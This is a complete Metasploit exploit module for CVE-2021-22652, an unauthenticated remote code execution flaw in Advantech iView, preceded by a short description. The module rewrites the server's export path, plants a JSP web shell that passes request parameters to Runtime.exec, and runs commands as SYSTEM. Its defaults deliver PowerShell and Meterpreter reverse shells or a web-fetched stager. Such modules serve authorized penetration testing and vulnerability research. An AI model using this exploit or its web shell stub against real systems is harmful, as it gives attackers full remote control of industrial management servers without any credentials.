This Metasploit module exploits an unauthenticated configuration change combined with an unauthenticated file write primitive, leading to an arbitrary file write that allows for remote code execution as the user running iView, which is typically NT AUTHORITY\SYSTEM. This issue was demonstrated in the vulnerable version 5.7.02.5992 and fixed in version 5.7.03.6112.
fd032d94df7616e2fe434facdd644277##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Advantech iView Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated configuration change combined
with an unauthenticated file write primitive, leading to an arbitrary
file write that allows for remote code execution as the user running
iView, which is typically NT AUTHORITY\SYSTEM.
This issue was demonstrated in the vulnerable version 5.7.02.5992 and
fixed in version 5.7.03.6112.
},
'Author' => [
'wvu', # Discovery and exploit
'Spencer McIntyre' # Check, docs, and testing
],
'References' => [
['CVE', '2021-22652'],
['URL', 'https://blog.rapid7.com/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],
['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']
],
'DisclosureDate' => '2021-02-09', # ICS-CERT advisory
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'
}
}
]
],
'DefaultTarget' => 2,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Application path', '/iView3'])
])
end
def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'MenuServlet'),
'vars_post' => {
'page_action_type' => 'getMenuFragment',
'page' => 'version.frag'
}
)
return CheckCode::Unknown unless res&.code == 200
version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')
return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/
version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"
vprint_status("Identified the version as #{version}")
return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')
CheckCode::Appears
end
def exploit
config = retrieve_config
updated = update_config(config)
write_jsp_stub
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :win_cmd
execute_command(payload.encoded)
when :win_dropper
execute_cmdstager
when :psh_stager
execute_command(cmd_psh_payload(
payload.encoded,
payload.arch.first,
remove_comspec: true
))
end
ensure
restore_config(config) if config && updated
end
def retrieve_config
print_status('Retrieving config')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'vars_post' => {
'page_action_type' => 'retrieveSystemSettings'
}
)
unless res && res.code == 200 && (config = res.get_json_document.first)
fail_with(Failure::NotFound, 'Failed to retrieve config')
end
print_good('Successfully retrieved config')
vprint_line(JSON.pretty_generate(config))
config
end
def update_config(config)
print_status('Updating config')
config = config.dup
config['EXPORTPATH'] = 'webapps\\iView3\\'
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'vars_post' => {
'page_action_type' => 'updateSystemSettings',
'json_obj' => config.to_json
}
)
unless res && res.code == 200 && (config = res.get_json_document.first)
fail_with(Failure::NotFound, 'Failed to retrieve updated config')
end
unless config['EXPORTPATH'] == 'webapps\\iView3\\'
fail_with(Failure::NotVulnerable, 'Failed to update config')
end
print_good('Successfully updated config')
vprint_line(JSON.pretty_generate(config))
true
end
def write_jsp_stub
print_status('Writing JSP stub')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'vars_post' => {
'page_action_type' => 'exportInventoryTable',
'col_list' => "#{jsp_stub}-NULL",
'sortname' => 'NULL',
'sortorder' => '',
'filename' => jsp_filename
}
)
unless res && res.code == 200
fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')
end
register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")
print_good('Successfully wrote JSP stub')
end
def execute_command(cmd, _opts = {})
cmd.prepend('cmd.exe /c ')
print_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, jsp_filename),
'vars_post' => {
jsp_param => cmd
}
)
unless res && res.code == 200
fail_with(Failure::PayloadFailed, 'Failed to execute command')
end
print_good('Successfully executed command')
end
def restore_config(config)
print_status('Restoring config')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
'vars_post' => {
'page_action_type' => 'updateSystemSettings',
'json_obj' => config.to_json
}
)
unless res && res.code == 200 && (config = res.get_json_document.first)
fail_with(Failure::NotFound, 'Failed to retrieve restored config')
end
if config['EXPORTPATH'] == 'webapps\\iView3\\'
fail_with(Failure::UnexpectedReply, 'Failed to restore config')
end
print_good('Successfully restored config')
vprint_line(JSON.pretty_generate(config))
end
def jsp_stub
%(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)
end
def jsp_param
@jsp_param ||= rand_text_alphanumeric(8..42)
end
def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
end
end